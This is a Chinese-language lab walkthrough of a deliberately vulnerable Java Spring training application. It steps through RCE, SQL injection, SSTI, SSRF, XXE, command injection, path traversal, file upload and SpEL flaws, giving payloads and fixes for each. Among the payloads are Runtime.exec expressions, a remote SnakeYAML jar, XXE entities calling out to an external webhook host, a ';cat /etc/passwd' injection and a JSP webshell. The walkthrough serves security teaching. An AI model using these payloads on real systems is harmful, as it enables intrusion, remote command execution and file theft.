靶场需访问http://localhost:8080/index
默认账号密码为admin admin123
题目在源码里(亏我找半天)
由于后面环境是docker开的,计算器可能弹不出来
RCE
1. /rce/runtime/exec
1 |
|
命令执行:通过调用 Runtime.getRuntime().exec(cmd)
执行传入的命令,这会启动一个新的子进程来执行该命令。
输入流处理:使用 BufferedInputStream
和 BufferedReader
从子进程的标准输出流中读取命令执行的结果。这些结果会被累积到一个 StringBuilder
中。
异常捕获:如果执行过程中发生异常,捕获并返回异常的字符串描述。
退出码处理:在命令执行完成后,检查子进程的退出码。如果退出码不为零且为 1,则表示命令执行失败。
返回结果:如果命令执行成功,返回命令的输出内容;如果发生错误,则返回错误信息。
我们可以通过Runtime.getRuntime()这个方法来进行命令执行,在该代码里它通过传入cmd变量进行命令执行
1 | ?cmd=whoami |
2./rce/ProcessBuilder
1 |
|
命令执行: String[] arrCmd = {"/bin/sh", "-c", cmd};
通过 ProcessBuilder
启动一个新的 shell 进程,执行传入的命令 cmd
。这里使用 -c
选项告诉 shell 执行字符串中的命令。
启动进程: Process p = processBuilder.start();
启动进程后,获取该进程的标准输出流并读取其内容。
读取输出: 通过 BufferedInputStream
和 BufferedReader
逐行读取进程的输出并存储在 StringBuilder
中。
异常处理: 如果命令执行失败或抛出异常,会返回异常的字符串表示。
该代码通过get请求传入一个cmd,然后利用ProcessBuilder这个类调用系统进程来命令执行
注意,在windows系统里
1 | String[] arrCmd = {"cmd.exe", "/c", cmd}; |
我们需要在源代码中修改,不然命令执行会报错
3./rce/jscmd
1 |
|
我们可以看到它接收一个名为 jsurl
的参数;
然后使用 Nashorn JavaScript 引擎执行传入 URL 所加载的 JavaScript 脚本。
由于命令无回显,我们可以通过报错来判断
shell.js
1 | var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc.exe"); |
1 | /rce/jscmd?jsurl=http://ip/shell.js |
说不存在clac.exe,的确不存在,这说明命令成功执行
4./rce/vuln/yarm
1 |
|
SnakeYaml
是用来解析yaml的格式,可以用于Java对象的序列化、反序列化。该代码利用SnakeYAML存在的反序列化漏洞来rce,在解析恶意 yml 内容时会完成指定的动作,实现命令执行。我们所加载的yaml文件如下:
1 | !!javax.script.ScriptEngineManager [ |
jar是我们远程加载的恶意文件,源码如下
1 | package artsploit; |
整个脚本也都比较简单,就是实现了ScriptEngineFactory接口,然后调用Runtime.getRuntime().exec执行命令。
payload链接:https://github.com/artsploit/yaml-payload
打包为jar
1 | javac src/artsploit/AwesomeScriptEngineFactory.java |
漏洞修复
1 | @GetMapping("/sec/yarm") |
5./rce/groovy
1 |
|
Groovy是一种基于JVM(Java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码。由于其运行在 JVM 上的特性,Groovy 可以使用其他 Java 语言编写的库。
执行命令
1 | /rce/groovy?content="calc.exe".execute() |
由于靶场是在docker搭建的,所以弹不出计算器,会提示不存在这个文件
SQL注入
1./sqli/jdbc/vuln
1 |
|
漏洞成因:直接插入username,造成sql注入
1 | String sql = "select * from users where username = '" + username + "'"; |
测试
1 | ?username=-1' union select 1,database(),3,4--+ |
防护
1 |
|
2./sqli/jdbc/ps/vuln
1 |
|
漏洞成因:预处理语句在sql语句之后,没起到防护的作用
1 | String sql = "select * from users where username = '" + username + "'"; |
3./sqli/mybatis/vuln01
1 |
|
我们来看findByUserNameVuln01
1 |
|
这里用到的是MyBatis框架,用来指定 SQL 查询语句。**${username}
**:在这里,username
是直接拼接到 SQL 查询中的。这意味着输入的内容会直接插入到 SQL 语句中,而不会进行任何预处理或转义。因此我们仍然可以用上面的方法进行SQL注入。
修复代码:
1 | @Select("select * from users where username = #{username}") |
4./sqli/mybatis/vuln02
1 |
|
我们来看findByUserNameVuln02
1 | List<User> findByUserNameVuln02(String username); |
这里去掉了映射关系,不影响漏洞存在,仍然可以使用之前payload
5./sqli/mybatis/orderby/vuln03
1 | @GetMapping("/mybatis/orderby/vuln03") |
我们来看findByUserNameVuln03
1 | List<User> findByUserNameVuln03(@Param("order") String order); |
使用了MyBatis框架中的order字段,换用下面方法进行注入:
1 | ?sort=id desc--+ |
sql注入修复与防护
1.预编译
1 | String sql = "select * from users where username = ?"; |
2.waf
1 | private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$"); |
3.MyBatis防护
1 | @Select("select * from users where username = #{username}") |
SSTI
/ssti/velocity
1 |
|
Apache Velocity是一个基于模板的引擎,用于生成文本输出(例如:HTML、XML或任何其他形式的ASCII文本),它的设计目标是提供一种简单且灵活的方式来将模板和上下文数据结合在一起,因此被广泛应用于各种Java应用程序中包括Web应用
模版注入问题各个语言斗鱼,但这里只用到了velocity,除了velocity,thymeleaf等都是会有ssti问题
Velocity.evaluate
方法介绍
Velocity.evaluate是Velocity引擎中的一个方法,用于处理字符串模板的评估,Velocity是一个基于Java的模板引擎,广泛应用于WEB开发和其他需要动态内容生成的场合,Velocity.evaluate方法的主要作用是将给定的模板字符串与上下文对象结合并生成最终的输出结果,这个方法通常用于在运行时动态创建内容,比如:生成HTML页面的内容或电子邮件的文本,方法如下所示:
1 | public static void evaluate(Context context, Writer writer, String templateName, String template) |
参数说明:
- Context context:提供模板所需的数据上下文,可以包含多个键值对
- Writer writer:输出流,用于写入生成的内容
- String templateName:模板的名称,通常用于调试信息中
- String template:要评估的模板字符串
我们构造如下payload
1 | #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc") |
SSRF
1./ssrf/urlConnection/vuln
1 |
|
我们来看URLConnection
1 | public static String URLConnection(String url) { |
这里我们可以用文件读取协议file://实现访问
2./ssrf/HttpURLConnection/vuln
1 |
|
我们来看HttpURLConnection
1 | public static String HttpURLConnection(String url) { |
这里用HttpURLConnection做了强转,限制只能用http/htps协议,但可以访问内网其他主机
访问到了首页
3./ssrf/openStream
1 |
|
可以通过这个路由实现任意文件下载:
4./ssrf/HttpSyncClients/vuln
1 |
|
我们来看HttpAsyncClients
1 | public static String HttpAsyncClients(String url) { |
我们发现没有对url进行检查,所以可以使用ssrf
5./ssrf/restTemplate/vuln1
1 |
|
这段代码使用 Spring RestTemplate 来进行 HTTP 请求,并禁止了重定向,但不影响直接访问
注:为什么需要加个/login
因为http://60.205.158.87:8080/会默认跳转到/login,而代码禁止了重定向
既然已经禁止了重定向(Redirect),为什么 SSRF 仍然可能发生?
一、什么是 SSRF?
SSRF(Server-Side Request Forgery),即服务器端请求伪造。攻击者控制一个参数,让服务器主动去访问一个由他指定的 URL,从而达到探测内网、打数据库、访问云元数据服务(如 AWS 的 169.254.169.254
)等目的。
核心问题:不是重定向,而是“服务器能不能发出请求”。
二、禁止重定向 vs SSRF 的区别
你禁止的是 HTTP 3xx 重定向,比如:
1 | 用户访问 http://example.com => 返回 302 Location: http://malicious.com/internal |
这时候如果自动跟随重定向,就会去访问 http://malicious.com/internal
。禁用重定向只防止了这种 间接跳转 SSRF。
✅ 禁止重定向确实防止了这种“跳转型 SSRF”。
但是,普通 SSRF 根本不依赖重定向!
比如你直接访问这个地址:
1 | http://127.0.0.1:3306/ |
这些 URL 根本不会返回 3xx 重定向,它们是直接请求目标服务,获取响应。
在你当前的代码中:
1 | httpService.RequestHttpBanRedirects(url, headers); |
如果攻击者传的就是一个直连目标,比如:
1 | ?url=http://127.0.0.1:8080/ |
你不管重定向不重定向,请求都会直接发出去,SSRF 就发生了。
6./ssrf/restTemplate/vuln2
1 |
|
这串代码没有禁止重定向,我们可以直接SSRF
7./ssrf/hutool/vuln
1 |
|
这个库也能ssrf,但禁止了重定向
8./ssrf/denrebind/vuln
1 |
|
来看checkSSRFWithoutRedirect
1 | /** |
来看isInternalIpByUrl函数
1 | public static boolean isInternalIpByUrl(String url) { |
添加了IP检查,修改一下dns解析即可绕过,方法如下:
给本地的hosts文件添加一条解析记录:
1 | 192.168.1.43 www.baidu.com |
8./ssrf/dnsrebind/vuln
漏洞代码
1 |
|
我们来看checkSSRFWithoutRedirect函数
1 | /** |
isInternalIpByUrl
函数:
1 | public static boolean isInternalIpByUrl(String url) { |
添加了IP检查,修改一下dns解析即可绕过,方法如下:
给本地的hosts文件添加一条解析记录:
1 | 192.168.1.43 www.baidu.com |
然后就可以实现ssrf
ssrf的修复与防护
(1)限制协议使用
1 |
|
isHttp函数
1 | public static boolean isHttp(String url) { |
会检查 url
是否是 http://
或 https://
协议,如果不是则直接返回 "[-] SSRF check failed"
,防止 file://
、ftp://
、gopher://
等协议的 SSRF 利用
(2)限制文件访问
1 |
|
imageIO
函数:
1 | public static void imageIO(String url) { |
(3)http请求检查
方法1:
1 |
|
okhttp
函数:
1 | public static String okhttp(String url) throws IOException { |
方法2:
1 |
|
httpClient
函数:
1 | public static String httpClient(String url) { |
方法3:
1 |
|
commonHttpClient
函数:
1 | public static String commonHttpClient(String url) { |
方法4:
1 | @GetMapping("/Jsoup/sec") |
Jsoup函数
1 | public static String Jsoup(String url) { |
方法5:
1 |
|
IOUtils
函数
1 | public static void IOUtils(String url) { |
特性/框架 | OkHttp | Apache HttpClient 4.x | Commons HttpClient 3.x | Jsoup | IOUtils + URLConnection |
---|---|---|---|---|---|
主要定位 | 现代高性能 HTTP 客户端 | 企业常用 HTTP 客户端 | 老版本 HTTP 客户端(已废弃) | 网页抓取 + HTML 解析 | 简单流读取工具 |
支持协议 | HTTP/HTTPS(默认拒绝 file://) | HTTP/HTTPS(默认拒绝 file://) | HTTP/HTTPS(部分场景支持 file://) | HTTP/HTTPS/FILE | HTTP/HTTPS/FILE/GOPHER 等 |
是否跟随重定向 | ✅ 默认跟随,可禁用 | ✅ 默认跟随,可禁用 | ✅ 默认跟随,可禁用 | ✅ 默认跟随 | ✅ 默认跟随 |
连接池 | ✅ 内置复用连接池 | ✅ 可配置连接池 | ❌ 无 | ❌ 无 | ❌ 每次新建连接 |
超时设置 | ✅ 支持连接/读超时 | ✅ 支持连接/读超时 | ❌ 配置复杂,易忽略 | ✅ 可配置超时 | ❌ 默认无限等待 |
HTTP/2 支持 | ✅ 支持 | ❌ 不支持(需额外模块) | ❌ 不支持 | ❌ 不支持 | ❌ 不支持 |
API 复杂度 | 简单,链式调用 | 相对复杂,配置灵活 | 老旧 API,繁琐 | 最简单 | 最原始 |
维护情况 | 活跃(Square 维护) | 活跃(Apache 维护) | ❌ 已停止维护 | 活跃(Jsoup 团队) | JDK 自带,无新特性 |
SSRF 风险 | 低(默认禁止 file://) | 低(默认禁止 file://) | 中(可能支持 file://) | 高(默认支持 file://) | 高(支持 file://、gopher://) |
适用场景 | 通用 HTTP 请求、API 调用、移动端 | 企业后端、复杂 HTTP 请求 | 维护遗留系统 | 爬虫、HTML 解析 | 小工具快速读取流 |
是否推荐新项目使用 |
总结
- OkHttp 是一个现代且灵活的 HTTP 客户端,性能好,适用于大多数 HTTP 通信任务。
- HttpClient 更适合复杂的 HTTP 通信场景,有较强的功能支持,如认证、重定向等,但相对复杂,适合大型项目。
- CommonHttpClient 已经过时,主要用于老项目的兼容,不推荐在新项目中使用。
- Jsoup 适合处理 HTML 解析任务和轻量的 HTTP 请求,专注于网页抓取和数据提取。
- IOUtils 则是一个简化的工具,主要用于读取 URL 内容并转换为字节流,适合简单的小数据传输。
(4)核心SSRF防护代码
修复代码:
1 | public class SocketHook { |
功能分析:
startHook()
:
- 启动
SocketHook
,对所有新创建的Socket
应用自定义行为。核心是通过Socket.setSocketImplFactory()
来设置一个新的Socket
工厂。 - 可能用于在
Socket
连接期间监控、修改、或审查数据流量。
- 启动
stopHook()
:
- 关闭
SocketHook
,将SocketHookFactory
中的钩子状态关闭,停止对新Socket
实例的自定义行为。
- 关闭
应用场景:
- 安全防护:可以用来检测、拦截或修改特定的网络连接,防止攻击(如 SSRF、RFI 等)通过不受控制的网络请求滥用服务器资源。
- 网络审计:可用于监控网络流量,以记录或分析
Socket
通信内容。 - 调试/测试:在调试或测试环境中,使用钩子来捕获和分析网络通信行为。
CSRF
原理:
CSRF (Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。
简单的说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并运行一些操作(如发邮件,发消息,甚至财产操作(如转账和购买商品))。因为浏览器之前认证过,所以被访问的站点会觉得这是真正的用户操作而去运行。
攻击流程:
- 用户在浏览器中登录了受信任的网站(如银行网站),并且拥有有效的会话。
- 攻击者创建了一个恶意网站,嵌入了向受信任网站发送请求的代码。
- 用户在登录受信任网站后,访问了攻击者的恶意网站,恶意网站在用户不知情的情况下,自动向受信任网站发送请求(如转账请求)。
- 受信任的网站无法区分该请求是用户发起的还是攻击者伪造的,因此会执行这个请求
1./csrf/post
1 | @Controller |
我们来看前端
1 |
|
该代码存在csrf漏洞,漏洞验证poc:
1 | <!DOCTYPE html> |
csrf的防护
- 使用CSRF Token
在每个表单或请求中,加入一个随机生成的token,并将其与服务器端的token进行对比。这个token通常存储在用户的session中,每次请求时都要携带这个token,防止外部网站伪造请求。
- 在HTML表单中加入一个隐藏的input字段来传递CSRF token。
- 在服务器端验证请求中的token是否与存储的一致。
- Referer Header 检查
检查请求中的Referer
header,确保请求来源是合法的站点。尽管这一方法并不完全可靠,因为有些浏览器可能会限制或不发送Referer
,但它可以作为额外的安全措施。
- SameSite Cookie 属性
使用SameSite
属性设置cookies,限制跨站请求时是否可以发送cookie。SameSite
有三个值:
Strict
:完全禁止跨站请求携带cookie。Lax
:只有部分跨站请求才携带cookie(例如从外部链接访问站点时)。None
:允许跨站请求携带cookie,但必须设置Secure
,即请求需要使用HTTPS。
- HTTP 方法限制
对于敏感操作,尽量使用POST
、PUT
、DELETE
等非GET方法,因为GET请求一般不带有请求体,容易被CSRF利用。并且可以通过在服务器端验证请求方法是否符合规范来增加安全性。
- 验证码(CAPTCHA)
在执行重要操作(如提交表单或修改敏感信息)时,加入验证码验证,确保操作是由真实用户执行,而不是自动化脚本。
- 双重身份验证(2FA)
结合身份验证措施,如短信验证码或应用生成的二次密码,在用户执行敏感操作时进一步确认其身份。
XSS
1./xss/reflect
1 | @RequestMapping("/reflect") |
反射型xss
利用
1 | ?xss=<script>alert(1)</script> |
2./xss/stored
1 | @RequestMapping("/stored/store") |
存储型xss,我们先在/stored/store路由存入Cookie
1 | ?xss=<script>alert(1)</script> |
然后在/stored/show路由攻击
xss防护
1 | /** |
把需要的字符都过滤了基本就防完了xss攻击
XXE
1./xxe/xmlReader/vuln
1 |
|
2./xxe/SAXBuilder/vuln
1 | @RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST) |
换用SAXReader第三方库,攻击手法同上(注意请求要以http格式进行解析):
1 | <?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "http://webhook.site/186f2ce9-cf0c-4eda-ad3f-49c3873814a7">]><root>&xxe;</root> |
修复代码
通过setFeature
关闭DTD和外部实体解析从而防止了xxe
1 | @RequestMapping(value = "/xmlReader/sec", method = RequestMethod.POST) |
3./xxe/SAXReader/vuln
1 | @RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST) |
和前两个的payload一样但区别是这个有回显
4./xxe/SAXParser/vuln
1 | @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST) |
5./xxe/Digester/vuln
1 | @RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST) |
6./xxe/DocumentBuilder/vuln
1 | @RequestMapping(value = "/DocumentBuilder/vuln", method = RequestMethod.POST) |
这是JDK自带的类,以此产生的XXE是存在回显的
7./xxe/DocumentBuilder/xinclude/vuln
1 | @RequestMapping(value = "/DocumentBuilder/xinclude/vuln", method = RequestMethod.POST) |
8./xxe/XMLReader/vuln
1 | @PostMapping("/XMLReader/vuln") |
9./xxe/DocumentHelper/vuln
1 | @PostMapping("/DocumentHelper/vuln") |
修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY;不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。
上述存在XXE漏洞库对比
工具/类 | 简介 | 使用场景 | 优点 | 缺点 |
---|---|---|---|---|
xmlReader |
SAX 的接口,基于事件驱动的解析 | 处理大型 XML 文件 | 内存占用小,速度快 | 需要手动管理上下文,处理复杂结构困 |
SAXBuilder |
JDOM 中基于 SAX 的解析器 | 需要用 JDOM 处理 XML 数据时 | 结合了 SAX 的高效性和 JDOM 的易用性 | 解析速度依赖于 SAX,灵活性低于 DOM |
SAXReader` | Dom4j 中基于 SAX 的解析器 | 需要 Dom4j 进行 XML 操作时 | 高效且灵活,支持树结构 | 性能略逊于纯 SAX |
SAXParser |
Java 中的 SAX 解析器 | 基于事件驱动的解析,适合处理大型 XML 文件 | 高效,内存占用小 | 解析复杂 XML 需要手动处理回调 |
Digester` | 基于 SAX,将 XML 映射到 Java 对象(Apache Commons 提供) | 需要将 XML 映射为 Java 对象时 | 简化 XML 与 Java 对象的映射 | 对大文件不友好,灵活性较低 |
DocumentBuilder` | Java 中 DOM 解析器,用于构建树状结构 | 需要完整树结构操作,如修改和多次遍历 XML 文件 | 完整保留文档结构,易于查找和修改 | 内存占用较大,处理大文件时性能较差 |
DocumentHelper |
Dom4j 提供的辅助类,用于快速创建和操作 XML 文档 | 需要手动构建和操作 XML 文档时 | 快速创建和处理 XML 文档,灵活性高 | 内存占用较大,处理超大文件时性能不佳 |
统一漏洞利用payload
1 | <?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM " http://webhook.site/186f2ce9-cf0c-4eda-ad3f-49c3873814a7">]><root>&xxe;</root> |
统一修复代码
1 | //实例化解析类之后通常会支持着三个配置 |
禁用了外部实体,限制实体来源。
10./xxe/xmlbeam/vuln
1 | @PostMapping(value = "/xmlbeam/vuln") |
该代码需要使用固定的标签可以实现回显,我们可以构造payload:
1 | <?xml version="1.0" encoding="UTF-8"?> |
11/ooxml/readxlsx
1 | @PostMapping("/readxlsx") |
查看源码得知使用的是poi-ooxml组件( Apache POI是提供Microsoft Office系列文档读、写功能的 JAVA 类库)进行xlsx文件操作,在3.10版本及以下存在XXE注入漏洞,3.15以下版本存在Dos漏洞,这里使用的是3.9版本。
我们新建一个1.xlsx,用7-zip打开这个文件的压缩包
然后修改[Content_Types].xml文件,在最上面添加
1 | <!DOCTYPE test [ |
在upload路由下上传这个1.xlsx,我们在webhook能发现这个文件执行成功了
12./xlsx-streamer/readxlsx
1 | @PostMapping("/readxlsx") |
和上题相比就是换了个库的区别,payload一样的
Commandinject
1./codeinject
1 |
|
将传入的参数直接与原命令拼接,实现命令注入
1 | ?filepath=;cat /etc/passwd |
2./codeinject/host
1 | @GetMapping("/codeinject/host") |
同样可以使用命令拼接,但需要再host字段处进行传参(不知道为啥我传不上去,用大佬的图片代替一下)
漏洞修复
修复代码
1 | @GetMapping("/codeinject/sec") |
cmdFilter函数代码:
1 | private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$"); |
限制了参数中的字符,防止命令注入。
Cookie伪造
1./cookie/vuln01
1 | private static String NICK = "nick"; |
2./cookie/vuln02
1 | @GetMapping(value = "/vuln02") |
3./cookie/vuln03
1 | @GetMapping(value = "/vuln03") |
4./cookie/vuln04
1 | @GetMapping(value = "/vuln04") |
5./cookie/vuln05
1 | @GetMapping(value = "/vuln05") |
6./cookie/vuln06
1 | @GetMapping(value = "/vuln06") |
漏洞利用.
我们可以直接通过修改cookie的值实现对nick值的修改,某些情况可能会存在越权漏洞,操作如下:
CORS
原理
跨源资源共享(CORS,全称为 Cross-Origin Resource Sharing)是一种基于 HTTP 头的机制,允许服务器标示除了它自己以外的其他源(域、协议或端口),使得浏览器允许这些源访问加载自己的资源。CORS 机制通过一种机制来检查服务器是否会允许要发送的真实请求,该机制通过浏览器发起一个到服务器托管的跨源资源的“预检”请求。
比如说:有两个域a1.com和b1.com,假设b1.com上面有个接口能够获取一些返回的数据,那么如果我们从a1.com写一段js去请求这个接口的数据,一般来说是请求不了的,会在浏览器爆出CORS错误,但如果有CORS设置,就可以实现这样的访问,甚至可以能够使用b1.com上的cookie。
1./cors/vuln/origin
private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
@GetMapping("/vuln/origin")
public String vuls1(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header
response.setHeader("Access-Control-Allow-Credentials", "true"); // allow cookie
return info;
}
2./cors/vuln/setHeader
1 | @GetMapping("/vuln/setHeader") |
3./cors/vuln/crossOrigin
1 | @GetMapping("*") |
漏洞验证
我们可以通过修改origin字段来验证漏洞
漏洞防御
(1)限制origin
1 | @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"}) |
(2)WebMvcConfigurer设置Cors
1 | @GetMapping("/sec/webMvcConfigurer") |
对应的过滤器
1 | public WebMvcConfigurer corsConfigurer() { |
(3)spring security设置cors
1 | @GetMapping("/sec/httpCors") |
对应过滤器:
1 | CorsConfigurationSource corsConfigurationSource() |
(4)自定义filter设置cors
防御代码:
1 | @GetMapping("/sec/originFilter") |
对应过滤器:
1 | @WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter") |
(5)CorsFilter设置cors
防御代码:
1 | @RequestMapping("/sec/corsFilter") |
对应过滤器:
1 | public class BaseCorsFilter extends CorsFilter { |
(6)origin检查
防御代码:
1 | @GetMapping("/sec/checkOrigin") |
目录遍历
1./path_traversal/vul
漏洞代码:
1 | @GetMapping("/path_traversal/vul") |
存在目录穿越,我们直接读取文件
修复代码:
1 | @GetMapping("/path_traversal/sec") |
pathFilter函数内容:
1 | public static String pathFilter(String filepath) { |
对文件路径参数增加了过滤方法pathFilter,如果文件路径开头为/字符或者存在..连续字符出现就返回空字符串,但是这种过滤只是简单的应对措施,如果是Windows操作系统上以盘符开始的路径,就显得无能为力。例如使用\读取(windows下)
1 | /path_traversal/sec?filepath=..\..\..\..\..\windows\win.ini |
文件上传
1./file/upload
1 | @PostMapping("/upload") |
文件上传到方法中,未判断文件的类型、扩展名等信息,也未对生成文件的文件名进行重置,只是直接将文件上传到文件保存目录中,使用测试文件成功上传。构造一句话木马:
1 | <% if ("pass".equals(request.getParameter("pwd"))) { java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b)) != -1) out.println(new String(b)); } %> |
保存为shell.jsp进行上传,然后传入参数pwd=pass&cmd=whoami
修复代码
1 | @PostMapping("/upload/picture") |
判断为图片才允许上传,不过仍可通过其他方式绕过
1 | copy 1.png/shell.jsp muma.png |
SpEL表达式注入漏洞
Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。
spel语法中的T()
操作符 , T()
操作符会返回一个object , 它可以帮助我们获取某个类的静态方法 , 用法T(全限定类名).方法名()
1./spel/vuln1
1 | @RequestMapping("/spel/vuln1") |
可以通过spel表达式实现命令执行
1 | T(java.lang.Runtime).getRuntime().exec("calc") |
2./spel/vuln2
1 | @RequestMapping("spel/vuln2") |
比第一关多了一个模板引擎,用#{}套上就好了
1 | #{T(java.lang.Runtime).getRuntime().exec('calc')} |
漏洞修复
修复代码:
1 | @RequestMapping("spel/sec") |
使用 SimpleEvaluationContext进行加固,定义一个只读的上下文环境防止不安全的操作